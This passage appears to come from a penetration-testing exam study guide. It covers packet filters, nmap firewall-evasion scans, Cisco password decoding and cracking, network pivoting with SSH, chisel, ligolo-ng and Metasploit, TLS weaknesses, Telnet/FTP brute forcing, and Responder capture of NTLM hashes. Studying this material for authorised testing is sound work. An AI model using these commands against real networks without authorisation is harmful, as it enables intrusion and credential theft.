ip.addr == 10.10.10.50          # to or from
ip.src == 10.10.10.50
ip.dst == 10.10.10.50

tcp.port == 445
tcp.srcport == 80
tcp.dstport == 443

udp.port == 53

# Protocol filters
http
http.request
http.response
http.response.code == 200
http.request.method == "POST"
http.host contains "admin"

ftp
ftp.request.command == "USER"
ftp.request.command == "PASS"
ftp.data          # actual file transfer data

smb
smb2
smb2.cmd == 5      # SMB2 Create Request

ntlmssp          # any NTLM message
ntlmssp.message_type == 3 # NTLMSSP authenticate

kerberos
kerberos.req_type == 10 # AS-REQ
kerberos.req_type == 12 # TGS-REQ

dns
dns.qry.name contains "example"
dns.flags.response == 0 # queries only

ssh
tls
tls.handshake.type == 1 # ClientHello
tls.handshake.extensions_server_name == "example.com"

vlan.id == 100          # 802.1Q tagged frames

frame contains "password" # raw byte search across all frames
```

4.5 Network Filtering and Firewall Bypass (C5)

Firewalls operate at multiple layers:

- **Stateless packet filters** examine each packet independently. Rules typically based on source/destination IP and port, protocol.
- **Stateful firewalls** track connection state. A response packet for an established outbound connection is permitted even if no inbound rule matches.
- **Application-layer firewalls / proxies** parse the application protocol (HTTP, SMTP, etc.) and enforce protocol-specific rules.
- **Web Application Firewalls (WAFs)** sit in front of HTTP applications and apply signatures to detect attack patterns.

Where a packet is filtered determines what bypass is possible. Some classic bypasses:

Source port manipulation - some firewalls trust traffic from source ports 53 (DNS) or 88 (Kerberos), assuming it is reply traffic.

```
sudo nmap --source-port 53 -sS -p 445 10.10.10.50
sudo nmap -g 88 -sS -p 22 10.10.10.50
```

Fragmentation - some L3 filters do not reassemble fragments before applying rules. nmap can fragment scan packets:

```
sudo nmap -f -p 80 10.10.10.50      # fragment with default 8-byte MTU
sudo nmap --mtu 16 -p 80 10.10.10.50  # custom MTU (must be multiple of 8)
```

Padding and decoys:

```
sudo nmap --data-length 50 -p 80 10.10.10.50      # append random bytes
sudo nmap -D RND:10 -p 80 10.10.10.50             # 10 random decoys
sudo nmap -D 192.168.1.1,192.168.1.2,ME -p 80 10.10.10.50
```

Idle scan - uses a third-party “zombie” host with predictable IP IDs to scan a target without ever sending a packet from your real source IP:

```
sudo nmap -sI <zombie>:80 10.10.10.50
```

Egress filtering bypass - when scanning from inside a network with an outbound firewall, attempt outbound connections on common ports (80, 443, 53, 8080) which are usually permitted.

TCP/UDP encapsulation - tools like `iodine` (DNS tunnelling) and `dnscat2` exfiltrate over DNS when other protocols are blocked.

4.6 Network Devices (C6)

Cisco dominates the enterprise network device market and dominates the CRT’s exam content. The configuration constructs you must understand:

Cisco IOS configuration modes:

- User EXEC mode: `Router>`
- Privileged EXEC mode: `Router#` (entered with `enable`, requires the enable password or secret)
- Global configuration mode: `Router(config)#` (entered with `configure terminal`)
- Interface, line, etc. submodes

Common interesting lines in a Cisco config:

```
enable secret 5 $1$mERr$hX5rVt7rPNoS4wqbXKX7m0      ! Type 5 (MD5) - crackable
enable secret 9 $9$jXrwrM8VKtRcQE$WuyN6m...         ! Type 9 (scrypt) - very slow to crack
enable password 7 0822455D0A16                      ! Type 7 - reversible (decoded by ciscot7 etc.)
enable password cisco                                ! Type 0 - cleartext

username admin privilege 15 password 7 0822455D0A16

snmp-server community public RO
snmp-server community private RW                    ! RW string is critical - allows config changes

line vty 0 4
password cisco
transport input telnet ssh                          ! Telnet permitted - cleartext

ip http server                                       ! HTTP management
ip http secure-server                              ! HTTPS management

service password-encryption                         ! Enables type-7 encryption (still reversible)
no service password-encryption                     ! Type 0 only, fully visible
```

Type 7 password decoding - Cisco’s “service password-encryption” produces a trivially reversible “encryption”. The algorithm is well-documented; tools such as `ciscot7` decode them in a single command:

```
echo "0822455D0A16" | ciscot7
> Decrypted password: cisco
```

Type 5 cracking with hashcat:

```
hashcat -m 500 hash.txt /usr/share/wordlists/rockyou.txt
```

Type 9 (scrypt) is much harder to crack but feasible against weak passwords:

```
hashcat -m 9300 hash.txt /usr/share/wordlists/rockyou.txt
```

Telnet/SSH access to network devices: enumerate `vtty` lines in the config to learn permitted access methods. `transport input telnet` is a finding (cleartext); `transport input ssh` is the modern standard. `transport input all` is also a finding (Telnet permitted).

SNMP on network devices - covered in detail in Chapter 5 (Network Services). The headline: with the RW community, `snmpset` can write arbitrary config values, including issuing TFTP put/get commands to extract or replace the entire device configuration.

4.7 Network Mapping (C7)

Network mapping is the production of a logical view of network topology. The primary tools are `traceroute`/`tracert` and `nmap`'s `--traceroute` flag.

`traceroute` sends packets with progressively increasing TTL (1, 2, 3, ...). Each router along the path decrements TTL; when TTL reaches zero, the router sends back ICMP Time Exceeded. By collecting these, `traceroute` reconstructs the path:

```
traceroute 8.8.8.8                                # UDP probes (default on Linux)
traceroute -I 8.8.8.8                             # ICMP echo probes (default on Windows tracert)
traceroute -T -p 443 example.com                  # TCP SYN probes to port 443

# Windows
tracert 8.8.8.8

# nmap
sudo nmap --traceroute -sn 10.10.10.50
```

The use of TCP `traceroute` (`-T`) is important because many firewalls drop ICMP and UDP but permit TCP to known service ports.

Building a logical diagram from scan data - the syllabus explicitly mentions this. Given comprehensive scan output, you should be able to identify:

- Which hosts are routers (multiple interfaces, perform forwarding) vs end systems
- Which segments are joined by which routers
- Which firewalls sit between segments (inferred from filtering behaviour)
- Where Active Directory infrastructure sits (find domain controllers via SRV records, then map adjacent hosts)
- Which hosts match specific criteria (all FTP servers, all Windows hosts, all Cisco devices) - use `grep` and `awk` against the greppable `nmap` output

A useful one-liner to extract specific service hosts from greppable `nmap` output:

```
grep "445/open" tcp_full.gnmap | awk '{print $2}' > smb_hosts.txt
grep "Cisco" tcp_full.nmap | awk '/Nmap scan report/{print $5}'
```

4.8 TCP and UDP Scanning (C8, C9)

The full set of TCP scan techniques `nmap` supports:

Flag	Name	Mechanism	Detection profile
<code>-sS</code>	SYN	Send SYN, observe SYN/ACK or RST. Never ACK.	Stealthy. Some IDS detect “half-open” pattern.
<code>-sT</code>	TCP Connect	Full three-way handshake via OS API.	Logged by service if it accepts (briefly).
<code>-sA</code>	ACK	Send ACK. Stateful firewall returns RST (port unfiltered) or no response (port filtered).	Maps firewall rules.
<code>-sW</code>	Window	Like ACK but examines window size of RST to determine open/closed.	Modern systems hardened.
<code>-sM</code>	Maimon	Sends FIN/ACK. Most BSD systems drop the packet if open.	Niche.
<code>-sN</code>	NULL	Sends packet with no flags set.	Open ports drop, closed return RST. Bypasses simple stateless firewalls.
<code>-sF</code>	FIN	Sends FIN. Same logic as NULL.	Bypasses stateless firewalls.
<code>-sX</code>	Xmas	Sends FIN/PSH/URG. Same logic.	Bypasses stateless firewalls.
<code>-sY</code>	SCTP INIT	SCTP equivalent of SYN.	Telco infrastructure.
<code>-sZ</code>	SCTP COOKIE-ECHO		Niche.
<code>-sO</code>	IP Protocol	Probes which IP protocols (not ports) are supported.	Returns ICMP Protocol Unreachable for unsupported.

UDP scanning with `-sU` is fundamentally different. UDP has no handshake, so you must send a service-specific probe and wait for a response. `nmap` maintains a database of probes (`/usr/share/nmap/nmap-service-probes`) for common UDP services; for unknown ports it sends an empty UDP datagram and infers state from ICMP responses (or lack thereof).

UDP scans of all 65,535 ports take hours to days even on a fast network. In practice:

```
# Fastest: top 100 UDP ports with version detection
sudo nmap -sU --top-ports 100 -sV --version-intensity 0 10.10.10.50

# Still time-consuming: top 1000
sudo nmap -sU --top-ports 1000 10.10.10.50

# All UDP - only when explicitly required
sudo nmap -sU -p- 10.10.10.50
```

4.9 Host Discovery (C10)

Already covered in section 4.1.3.

4.10 Service Identification (C11)

Once a port is found open, the next question is “what service is on it, and what version?”. Three approaches:

1. **Default port assumption** - 22 is SSH, 80 is HTTP, etc. Often wrong; many services run on non-standard ports deliberately or accidentally.
2. **Banner grabbing** - connect and read whatever the service sends.
3. **Active probing** - send service-specific probes and parse responses.

4.10.1 Banner Grabbing

```
# Netcat
nc -nv 10.10.10.50 21
nc -nv 10.10.10.50 22
nc -nv 10.10.10.50 25
nc -nv 10.10.10.50 110

# telnet (still works for any TCP service)
telnet 10.10.10.50 80
GET / HTTP/1.0

# curl for HTTP
curl -I http://10.10.10.50/          # headers only
curl -v http://10.10.10.50/        # verbose

# openssl for TLS-wrapped services
openssl s_client -connect 10.10.10.50:443
openssl s_client -connect 10.10.10.50:993 -starttls imap
openssl s_client -connect 10.10.10.50:25 -starttls smtp
```

4.10.2 nmap Service/Version Detection

`nmap -sV` actively probes for service and version. The `--version-intensity` flag controls how aggressive the probing is:

```
sudo nmap -sV --version-intensity 0 10.10.10.50 # only "light" probes
sudo nmap -sV --version-intensity 9 10.10.10.50 # all probes (slow but thorough)
sudo nmap -sV --version-all 10.10.10.50        # equivalent to intensity 9
sudo nmap -sV --version-light 10.10.10.50       # equivalent to intensity 2
```

For HTTP, the version detection sometimes misses interesting headers. Combine with `--script http-headers,http-server-header,http-title`:

```
sudo nmap -sV --script http-server-header,http-title,http-headers -p80,443 10.10.10.50
```

4.10.3 Identifying Unknown Services

Some services run on non-standard ports or use proprietary protocols. When `nmap -sV` returns “tcpwrapped” or no service identification:

1. Check the banner (some services identify themselves)
2. Try common protocol probes manually with netcat (HTTP `GET /`, SSH `SSH-2.0-test\r\n`, FTP - just connect and wait)
3. Check exploit databases for that port number combined with the host’s known software inventory
4. Use `nmap --script banner -p <port> 10.10.10.50` to get any banner data
5. As a last resort, run a quick `tcpdump` while connecting to see protocol structure

4.11 Routing Manipulation (PIVOTING) - 20 marks

This is the high-value, exam-critical section. The CRT v2.0 syllabus added “Routing Manipulation” as a 20-mark sub-section of the Infrastructure assessment. The skill being tested: given access to one network segment, can you reach (and exploit hosts on) another network segment that is not directly accessible from your testing position?

The general pattern: you compromise a host (the **pivot**) that has interfaces on two networks. You then route traffic from your testing machine through the pivot to reach the second network.

4.11.1 SSH Port Forwarding

The most fundamental technique. SSH provides three forwarding modes:

Local port forwarding (-L) - opens a port on your testing machine that, when connected to, tunnels through the SSH connection to a destination reachable from the SSH server.

```
Your machine          Pivot (SSH server)          Internal target
[localhost:8080] -- SSH -----> [pivot] -----> [10.10.20.5:80]
```

```
ssh -L 8080:10.10.20.5:80 user@pivot
# Now connecting to localhost:8080 on your machine reaches 10.10.20.5:80 via the pivot
```

Multiple **-L** flags can be stacked:

```
ssh -L 8080:10.10.20.5:80 -L 4444:10.10.20.10:445 -L 5555:10.10.20.10:3389 user@pivot
```

Remote port forwarding (-R) - opens a port on the SSH server that, when connected to, tunnels back to a destination reachable from your testing machine.

```
Your machine          Pivot (SSH server)          Other host (e.g., a service on YOU)
[localhost:8443] <-- SSH ----- [pivot:9090] <----- connects to pivot:9090
```

```
# Useful when the pivot can SSH out to you but you cannot SSH in
ssh -R 9090:localhost:8443 user@pivot
# Connections to pivot:9090 are tunnelled to your localhost:8443
```

Dynamic port forwarding (-D) - opens a SOCKS proxy on your testing machine. Anything the SOCKS-aware client connects to is tunnelled through SSH:

```
ssh -D 1080 user@pivot
# Now port 1080 on your machine is a SOCKS5 proxy. Configure clients to use it.
```

To use the SOCKS proxy with arbitrary tools, configure **proxychains** :

```
# /etc/proxychains4.conf - replace defaults at bottom with:
[ProxyList]
socks5 127.0.0.1 1080
```

Then prefix any command:

```
proxychains nmap -sT -Pn -p 22,80,443,3389,445 10.10.20.0/24
proxychains smbclient -L //10.10.20.10/ -U user
proxychains evil-winrm -i 10.10.20.10 -u admin -p pass
```

Important constraints with proxychains: the underlying tools must speak TCP (or, with proxychains supporting UDP relay, certain UDP protocols). For nmap, **only -sT (TCP connect) works through proxychains** because raw socket scans (**-sS** , **-sU**) bypass the OS networking stack.

Background SSH for long-lived tunnels:

```
ssh -fN -D 1080 user@pivot # -f background, -N no remote command
ssh -fNL 8080:internal:80 user@pivot
```

4.11.2 sshuttle - “Poor Man’s VPN”

sshuttle is a Python tool that creates a transparent VPN-like tunnel over an SSH connection. Unlike SSH port forwarding, it works for arbitrary IP traffic (TCP only by default; UDP for DNS optionally) without per-port configuration.

```
# Tunnel everything destined for 10.10.20.0/24 via the SSH pivot
sshuttle -r user@pivot 10.10.20.0/24

# Multiple subnets
sshuttle -r user@pivot 10.10.20.0/24 10.10.30.0/24

# Tunnel DNS too (so internal name resolution works)
sshuttle --dns -r user@pivot 10.10.20.0/24

# All non-local traffic
sshuttle -r user@pivot 0.0.0.0/0
```

Behind the scenes, `sshuttle` injects iptables rules (or pfctl on macOS) to redirect matching outbound traffic to a local listener that forwards over SSH. The pivot host needs Python; root is not strictly required.

Limitations:

- TCP only by default
- Requires root on your testing machine (to install iptables rules)
- Pivot must have Python
- No raw IP / non-TCP traffic (so `nmap -sS` still doesn't work, but `-sT` and `-sU` do)

4.11.3 chisel - HTTP-Tunnelled SOCKS

`chisel` is a Go-based fast TCP/UDP tunnelling tool that wraps traffic in an HTTP/WebSocket session. Useful when SSH is not available or when the egress firewall only permits HTTP/HTTPS.

Architecture: client connects to server. The “reverse” mode allows the listener to be on the client side - useful for the typical penetration testing scenario where the compromised pivot can connect outbound but not be connected to inbound.

Reverse SOCKS proxy (most common for pivoting):

```
# On your testing machine (the chisel server, listening for the pivot to connect)
./chisel server -p 8000 --reverse

# On the compromised pivot (the chisel client, dialling out)
./chisel client <your-ip>:8000 R:socks
# This creates a SOCKS5 proxy on YOUR machine on port 1080 by default
```

Now configure proxychains to use 127.0.0.1:1080 and tools route through the pivot.

Custom port forwarding:

```
# Forward your local 8080 to internal-target:80, via the pivot
# Server (your machine):
./chisel server -p 8000 --reverse

# Client (pivot):
./chisel client <your-ip>:8000 R:8080:internal-target:80
```

With authentication and TLS:

```
./chisel server -p 8000 --reverse --auth user:secretpass --tls-key key.pem --tls-cert cert.pem

./chisel client --auth user:secretpass https://your-ip:8000 R:socks
```

`chisel` is normally not installed in Kali but is small and statically compiled - upload via CRESTDrive.

4.11.4 ligolo-ng - Modern Pivoting

`ligolo-ng` is a recent (and genuinely excellent) pivoting tool. It creates a TUN interface on your testing machine that represents the entire remote network, so you do not need proxychains or per-port forwards - tools “just work” against the remote IPs directly (including raw socket `nmap` scans).

Architecture: a “proxy” runs on your testing machine. An “agent” runs on the pivot. The agent dials out to the proxy.

```
# On your testing machine - generate certs and start the proxy
./proxy -selfcert

# Inside the ligolo-ng console:
> tunnel_start --tun ligolo
> session      # selects connected agent
> ifconfig     # show pivot's interfaces
> start --tun ligolo
> autoroute --with-session          # auto-add routes for pivot's networks
```

```
# On the pivot
./agent -connect <your-ip>:11601 -ignore-cert
```

After this, traffic destined for the pivot's accessible networks goes via the TUN interface. Run `nmap` with raw sockets, send any TCP/UDP traffic, all transparently. **This is the best pivoting tool for the CRT** if you can get the agent onto the pivot.

4.11.5 Metasploit autoroute and SOCKS proxy

If you have a Meterpreter session on the pivot, Metasploit can route traffic through it:

```
meterpreter > run autoroute -s 10.10.20.0/24
# or in modern msf:
meterpreter > run post/multi/manage/autoroute SUBNET=10.10.20.0 NETMASK=255.255.255.0 ACTION=ADD

meterpreter > background

msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set SRVPORT 1080
msf6 auxiliary(server/socks_proxy) > set VERSION 5
msf6 auxiliary(server/socks_proxy) > run -j
```

Now Metasploit modules (`set RHOSTS 10.10.20.5`) automatically use the autoroute, and external tools via `proxychains` (configured for `socks5 127.0.0.1 1080`) also work.

A useful `post/multi/manage/autoroute` shortcut: setting `ACTION=AUTOADD` automatically adds routes for all interfaces of the pivot.

4.11.6 Windows Pivoting with `netsh portproxy`

If the pivot is Windows and you have local administrator, the built-in `netsh interface portproxy` command creates a TCP port forward without installing additional tools:

```
netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=10.10.20.5
netsh interface portproxy show all
netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=0.0.0.0
```

This binds port 8080 on the Windows pivot, forwarding incoming connections to 10.10.20.5:80.

You may also need to open the Windows firewall for the listener:

```
netsh advfirewall firewall add rule name="portproxy 8080" dir=in action=allow protocol=TCP localport=8080
```

Note that `netsh portproxy` requires the IPv6 helper service to be running:

```
sc qc iphlpsvc
sc start iphlpsvc
```

4.11.7 Choosing the Right Tool

A decision aid for pivoting in the exam:

Scenario	Best tool
You have SSH credentials on a Linux pivot, simple need	SSH <code>-D 1080</code> + <code>proxychains</code>
Same as above, want transparent IP routing	<code>sshuttle</code>
You have a Meterpreter session	Metasploit <code>autoroute</code> + <code>socks_proxy</code>
You need raw IP access for full nmap scans	<code>ligolo-ng</code>
Pivot can only egress over HTTP/HTTPS	<code>chisel</code>
Windows pivot, local admin, simple TCP forward	<code>netsh interface portproxy</code>
Pivot is heavily restricted, need DNS tunnel	<code>iodine</code> or <code>dnscat2</code> (out of CRT scope but worth knowing)

4.11.8 Multi-Hop Pivoting

When you need to pivot through multiple hosts in a chain, the techniques compose. With SSH:

```
# First hop: SSH to pivot1
ssh -L 2222:pivot2:22 user@pivot1

# Second hop: SSH to pivot2 via the local forward
ssh -L 1080:targets:80 -p 2222 user@127.0.0.1
```

Or use ProxyJump, the modern equivalent:

```
ssh -J user1@pivot1 -L 1080:targets:80 user2@pivot2
```

4.12 Section Summary

Networks is the largest single appendix and contributes 20 marks for Routing Manipulation alone. Before progressing, ensure you can:

1. Choose between SYN, Connect, ACK, FIN, NULL, Xmas scans and explain the trade-offs
2. Configure a Linux interface to tag a specific 802.1Q VLAN (`modprobe 8021q; ip link add ... type vlan`)

3. Capture traffic with `tcpdump`, then extract cleartext credentials in Wireshark
4. Recognise the four major firewall bypass techniques (source port, fragmentation, decoys, idle scan)
5. Read a Cisco IOS configuration file and identify weak passwords (Type 0, Type 5, Type 7)
6. Decode a Cisco Type 7 password manually or with `ciscot7`
7. Set up a SOCKS proxy via SSH `-D` and route nmap through `proxychains`
8. Configure `sshuttle` to tunnel a subnet via SSH
9. Set up `chisel` reverse SOCKS proxy
10. Use Metasploit `autoroute` and `socks_proxy`

The Routing Manipulation section is the easiest 20 marks in the exam *if* you have rehearsed your pivoting toolkit. It is the easiest 20 marks to lose if you have not.

Part 5: Network Services (Appendix D - PT005)

This is the longest chapter in the book. It covers every network service category called out in Appendix D of the syllabus. Each service is presented with: a brief protocol summary, the relevant ports, enumeration commands, common vulnerabilities, exploitation techniques, and exam-relevant gotchas.

For each service, the implicit question to ask in the exam is: “what can I learn from it that I cannot easily learn elsewhere, and what can I do to it?”. The answer differs by service.

5.1 TLS/SSL (D1)

5.1.1 Protocol Summary

Transport Layer Security (TLS) is the modern, post-SSLv3 protocol providing authentication and encryption for TCP-based application protocols. Versions in current discussion:

Version	Year	Status
SSLv2	1995	Deprecated. Multiple critical flaws. Should never be enabled.
SSLv3	1996	Deprecated. POODLE attack (CVE-2014-3566).
TLSv1.0	1999	Deprecated by IETF (RFC 8996, 2021). PCI-DSS bans it.
TLSv1.1	2006	Deprecated by IETF (RFC 8996, 2021).
TLSv1.2	2008	Currently acceptable. Best practice with strong cipher suites only.
TLSv1.3	2018	Current recommendation. Removed many legacy mechanisms.

A TLS connection involves:

1. **ClientHello** - client lists supported versions, cipher suites, extensions, SNI
2. **ServerHello** - server picks version and cipher suite
3. **Certificate** - server presents its certificate chain
4. **Key exchange** - depends on cipher suite (RSA key transport, DHE, ECDHE)
5. **Finished** - both sides confirm via MAC of handshake messages
6. Application data flows encrypted

5.1.2 Cipher Suite Anatomy

A TLS 1.2 cipher suite name has the form `TLS_<KX>_<AUTH>_WITH_<CIPHER>_<MAC>`. For example, `TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384`:

- **ECDHE** - Elliptic Curve Diffie-Hellman Ephemeral key exchange. Provides forward secrecy.
- **RSA** - server authenticates with an RSA certificate.
- **AES_256_GCM** - bulk encryption with AES-256 in Galois/Counter Mode (an AEAD mode).
- **SHA384** - PRF and HKDF.

TLS 1.3 simplified cipher suite names by separating key exchange from suite (e.g., just `TLS_AES_256_GCM_SHA384`).

Weak ciphers and configurations to flag:

- **NULL ciphers** (`TLS_RSA_WITH_NULL_*`) - no encryption, only authentication
- **EXPORT ciphers** (legacy 40-bit/56-bit limited keys) - vulnerable to FREAK (CVE-2015-0204) and Logjam (CVE-2015-4000)
- **Anonymous ciphers** (`TLS_DH_anon_*`) - no authentication, vulnerable to MITM
- **RC4** - several biases known, deprecated by RFC 7465
- **DES, 3DES** - 64-bit block size, vulnerable to SWEET32 (CVE-2016-2183)
- **CBC mode ciphers** in older TLS - vulnerable to Lucky 13, BEAST
- **Static RSA key exchange** - no forward secrecy. If the server's private key is later disclosed, all past sessions can be decrypted.
- **MD5 in MAC or signature** - cryptographically broken
- **Diffie-Hellman with weak (< 2048-bit) parameters** - Logjam

5.1.3 Common TLS Vulnerabilities

Name	CVE	What it is
Heartbleed	CVE-2014-0160	OpenSSL TLS heartbeat extension does not bounds-check, leaking up to 64 KB of server memory per request (potentially private keys, session keys, user data).
POODLE	CVE-2014-3566	SSLv3 CBC padding oracle. Forces downgrade to SSLv3 and decrypts cookies block by block.
POODLE TLS	CVE-2014-8730	Same flaw in some TLS implementations.
FREAK	CVE-2015-0204	Forces downgrade to RSA_EXPORT cipher (512-bit RSA), then factors the key.
Logjam	CVE-2015-4000	Forces downgrade to DHE_EXPORT, then computes the discrete log.
BEAST	CVE-2011-3389	TLS 1.0 CBC chosen-plaintext attack.
CRIME	CVE-2012-4929	TLS compression leaks plaintext via length oracle.
BREACH	CVE-2013-3587	HTTP-level compression leaks plaintext.
Lucky 13	CVE-2013-0169	TLS CBC timing oracle.
ROBOT	CVE-2017-13099	RSA PKCS#1 v1.5 padding oracle on RSA key exchange.
Bleichenbacher	(multiple)	The general class of RSA padding oracle attacks ROBOT belongs to.
SWEET32	CVE-2016-2183	Birthday attack against 64-bit block ciphers (DES/3DES) over long-lived sessions.
DROWN	CVE-2016-0800	A TLS server is vulnerable if the same key/cert is also used by an SSLv2-enabled service anywhere.
CCS Injection	CVE-2014-0224	OpenSSL accepts a ChangeCipherSpec mid-handshake, leading to predictable session keys.
Renegotiation	CVE-2009-3555	TLS renegotiation can be hijacked to inject plaintext.
Insecure Renegotiation	(the same flaw, mitigated by RFC 5746 secure renegotiation)	
Triple Handshake	(no CVE)	TLS session resumption + renegotiation flaw.

5.1.4 TLS Assessment Tools

testssl.sh - the most comprehensive open-source TLS scanner. Bash-based, single file. Runs every check against a target and produces a colour-coded summary.

```
testssl.sh https://example.com
testssl.sh --severity HIGH https://example.com # only high+ findings
testssl.sh --vulnerable https://example.com # only vulnerability checks
testssl.sh -E https://example.com # cipher per protocol enumeration
```

ssllscan - quicker but less detailed than **testssl.sh**. Lists supported protocols and ciphers.

```
ssllscan example.com:443
ssllscan --no-failed example.com:443 # only show accepted ciphers
ssllscan --tlsall example.com:443 # test all TLS versions
```

sslyze - Python-based, fast, modular. Modern alternative to **ssllscan**.

```
sslyze example.com
sslyze --regular example.com
sslyze --heartbleed --robot --ccs_injection example.com
```

nmap NSE TLS scripts:

```
sudo nmap --script ssl-enum-ciphers,ssl-cert,ssl-dh-params,ssl-poodle,ssl-heartbleed,ssl-ccs-injection -p 443 example.com
```

openssl s_client - low-level. Useful for manual investigation:

```

openssl s_client -connect example.com:443
openssl s_client -connect example.com:443 -servername example.com # SNI
openssl s_client -connect example.com:443 -tls1_2 # force version
openssl s_client -connect example.com:443 -cipher 'AES256-SHA' # force cipher
openssl s_client -connect example.com:25 -starttls smtp # opportunistic TLS
openssl s_client -connect example.com:587 -starttls smtp
openssl s_client -connect example.com:110 -starttls pop3
openssl s_client -connect example.com:143 -starttls imap
openssl s_client -connect example.com:5222 -starttls xmpp
openssl s_client -connect example.com:21 -starttls ftp
openssl s_client -connect example.com:1433 -starttls mssql

```

5.1.5 Reading a Certificate

```

# From the wire
openssl s_client -connect example.com:443 < /dev/null 2>/dev/null | openssl x509 -text -noout

# From file
openssl x509 -in cert.pem -text -noout

```

The fields to look at:

- **Subject** - the entity the certificate is issued to. CN (Common Name) historically held the hostname; modern certs put it in Subject Alternative Name (SAN).
- **Subject Alternative Name** - list of additional names the cert is valid for. Sometimes leaks internal hostnames.
- **Issuer** - the CA that signed it. Self-signed certs have Issuer == Subject.
- **Validity** - Not Before / Not After. Expired certs are a finding.
- **Public Key** - algorithm and size (RSA 2048, RSA 4096, ECC P-256, etc.). RSA < 2048 bits is weak.
- **Signature Algorithm** - the algorithm the CA used to sign the certificate. SHA1 is deprecated; MD5 is broken.
- **Extensions** - Key Usage, Extended Key Usage, Subject Key Identifier, Authority Key Identifier, CRL Distribution Points, Authority Information Access (often discloses OCSP responder).

5.1.6 Findings Cheat Sheet for TLS

The standard set of TLS findings to capture in any assessment:

- Supports SSLv2 / SSLv3
- Supports TLSv1.0 / TLSv1.1
- Self-signed certificate
- Expired certificate
- Hostname mismatch
- Untrusted CA chain
- Weak signature algorithm (SHA-1, MD5)
- Weak public key (RSA < 2048)
- Supports weak cipher suites (RC4, NULL, EXPORT, anonymous)
- Supports 64-bit block ciphers (3DES, DES) - SWEET32
- Vulnerable to Heartbleed
- Vulnerable to POODLE / POODLE TLS
- Vulnerable to FREAK / Logjam (DH parameters < 2048 bits)
- Missing or weak HSTS (separate from TLS but related)
- Vulnerable to CCS injection
- Insecure renegotiation
- TLS compression enabled (CRIME)

5.2 Unencrypted Services (D2)

5.2.1 Telnet (TCP/23)

Telnet provides interactive shell access over the network in cleartext. Every keystroke and the resulting output traverse the wire unencrypted. The presence of Telnet on any host is itself a finding (typically Medium severity, given the existence of SSH).

Enumeration:

```

nc -nv 10.10.10.50 23
telnet 10.10.10.50

# nmap scripts
sudo nmap --script telnet-encryption,telnet-ntlm-info,telnet-brute -p 23 10.10.10.50

```

The banner often discloses OS or device version. Cisco devices in particular usually announce themselves.

Attacks:

- **Sniffing:** any tester on the path captures credentials and the entire session in cleartext.
- **Brute force:** `hydra -L users.txt -P passwords.txt telnet://10.10.10.50`
- **Default credentials:** especially on network devices (`cisco/cisco` , `admin/admin`).

5.2.2 FTP (TCP/21 control, TCP/20 active data, ephemeral passive data)

File Transfer Protocol. Cleartext. Two modes:

- **Active mode:** client sends `PORT a,b,c,d,p1,p2` , server connects FROM port 20 TO client's specified port. Often broken by client-side NAT/firewall.
- **Passive mode:** client sends `PASV` , server responds with `227 Entering Passive Mode (a,b,c,d,p1,p2)` . Client connects to that ephemeral port. Default for most clients.

Enumeration:

```
sudo nmap --script ftp-anon,ftp-bounce,ftp-syst,ftp-vsftpd-backdoor,ftp-vuln-* -p 21 10.10.10.50

# Manual
ftp 10.10.10.50
> USER anonymous
> PASS anonymous@example.com      # any email-like string
> SYST                            # OS info
> STAT                           # connection state
> HELP                           # supported commands
> ls -la
> get filename
```

Common findings:

- **Anonymous access** - login as `anonymous` (any password). If the share is writable, you can upload web shells, replace files, etc.
- **vsftpd 2.3.4 backdoor** (CVE-2011-2523) - smiley face (:)) in the username triggers a root shell on TCP/6200. Famous from Metasploitable.
- **ProFTPD 1.3.5 mod_copy** (CVE-2015-3306) - `SITE CPFR` and `SITE CPTO` allow file copy without authentication.
- **FTP bounce** - the `PORT` command can specify any IP, allowing the FTP server to be used as a port scanner against another host (`nmap --script ftp-bounce` exploits this).

Brute force:

```
hydra -L users.txt -P passwords.txt ftp://10.10.10.50 -t 4
medusa -h 10.10.10.50 -U users.txt -P passwords.txt -M ftp
```

Bulk download from anonymous FTP:

```
wget -m --no-passive ftp://anonymous:10.10.10.50/
```

5.2.3 SNMP (UDP/161, traps UDP/162)

Covered in detail in section 5.10.

5.2.4 HTTP (TCP/80) Cleartext

Forms-based authentication over plain HTTP discloses credentials. Basic Auth (`Authorization: Basic <base64>`) is trivially decoded:

```
echo "QWxhZGRpbjpvcGVuc2VzYW11" | base64 -d
> Aladdin:opensesame
```

When the same credentials work for HTTPS, this is a misconfiguration: HTTP should redirect to HTTPS, or HTTP should be disabled entirely.

5.3 Name Resolution Services (D3) - Responder Attacks

Three name resolution mechanisms operate alongside DNS in Windows networks. All three are fall-backs invoked when DNS fails to resolve a name. All three trust whichever host responds first - which is what makes them attack vectors.

5.3.1 NetBIOS Name Service / WINS (UDP/137)

The legacy Windows name resolution. NetBIOS Name Service (NBT-NS) resolves "computer names" (the 15-character flat name) to IP addresses via broadcast. Windows Internet Name Service (WINS) is the centralised version (now largely deprecated in favour of DNS).

A host needing to resolve `\\FILESERVER` first asks DNS, then WINS, then broadcasts NBT-NS asking “who has FILESERVER?”. Any host on the broadcast domain can respond.

5.3.2 LLMNR (UDP/5355)

Link-Local Multicast Name Resolution (RFC 4795). Multicast-based. Used when DNS lookup fails. Sent to `224.0.0.252` (or `FF02::1:3` for IPv6). Any host on the link can respond.

5.3.3 mDNS (UDP/5353)

Multicast DNS. Apple’s Bonjour, Linux Avahi. Used for `.local` names. Sent to `224.0.0.251`. Same issue: any host can respond.

5.3.4 The Responder Attack

Responder listens on these protocols and responds to any query with its own IP, claiming to be whatever was being looked up. Then, when the victim attempts to authenticate (e.g., to a non-existent SMB server it thought existed), Responder captures the NTLM challenge/response.

The full Responder workflow:

```
# Run Responder in capture mode
sudo responder -I eth0 -wrf

# -I : interface
# -w : enable WPAD rogue server
# -r : enable answers for NetBIOS WPAD requests
# -f : fingerprint the host attempting to connect
```

Common output:

```
[+] Listening for events...

[SMB] NTLMv2-SSP Client      : 10.10.10.150
[SMB] NTLMv2-SSP Username   : CORP\jdoe
[SMB] NTLMv2-SSP Hash       : jdoe::CORP:1122334455667788:7B8F1...0E:01010000...
```

The captured hashes are stored in `/usr/share/responder/logs/` in `*.txt` files named per protocol and source IP.

5.3.5 Cracking Captured NetNTLMv2 Hashes

```
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 5600 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
```

5.3.6 NTLM Relay Attack

